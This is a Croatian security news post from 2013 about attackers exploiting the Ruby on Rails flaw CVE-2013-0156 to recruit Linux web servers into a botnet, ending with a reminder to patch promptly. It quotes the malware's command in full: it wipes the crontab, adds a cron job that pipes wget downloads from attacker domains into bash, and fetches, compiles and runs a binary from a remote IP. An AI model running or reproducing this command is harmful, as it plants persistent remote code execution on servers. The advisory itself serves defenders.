Ranjiv Ruby on Rails

Zločesti hakeri koriste ranjivost ***Ruby on Rails*** aplikacija da bi osvojili Linux web servere i stvorili od njih botnet. Iako je zakrpa za ranjivost, prijavljenu pod oznakom CVE-2013-0156 [1], izašla još u siječnju, čini se da nisu svi administratori na vrijeme instalirali zakrpe.

Exploit instalira kod, koji cron servisu zadaje ovakve naredbe:

```
crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com
/cmd2|bash;wget  -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget http://88.198.20.247/k
.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget http://88.198.2
0.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k
```

Koristi se program wget da se s mreže skine izvorni kod, koji se zatim nastoji kompilirati (imate li na produkcijskim serverima instaliran gcc?). Ako nemate, za svaki slučaj će se skinuti već pripremljen kod *exploita*. Tu su i adrese inficiranih servera s kojih se skida kod. Te adrese više nisu aktivne.

U opticaju je istovremeno i drugi *exploit* koji napada Apache web servere, nazvan **Linux/Cdorked**. U opticaju su i inačice za Lighthttpd i Nginx servere.

Još jednom se pokazuje da je pravovremena instalacija zakrpa jedan od temelja informacijske sigurnosti.

Tehnička analiza *exploita* dostupna je na adresi:

http://jarmoc.com/blog/2013/05/28/ror-cve-2013-0156-in-the-wild [2]/

čet, 2013-05-30 22:56 - Aco Dmitrović**Vijesti:** Sigurnosni propusti [3]
Vote: 0

No votes yet

Source URL: https://sysportal.carnet.hr/node/1275

Links
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0156
[2] http://jarmoc.com/blog/2013/05/28/ror-cve-2013-0156-in-the-wild
[3] https://sysportal.carnet.hr/taxonomy/term/14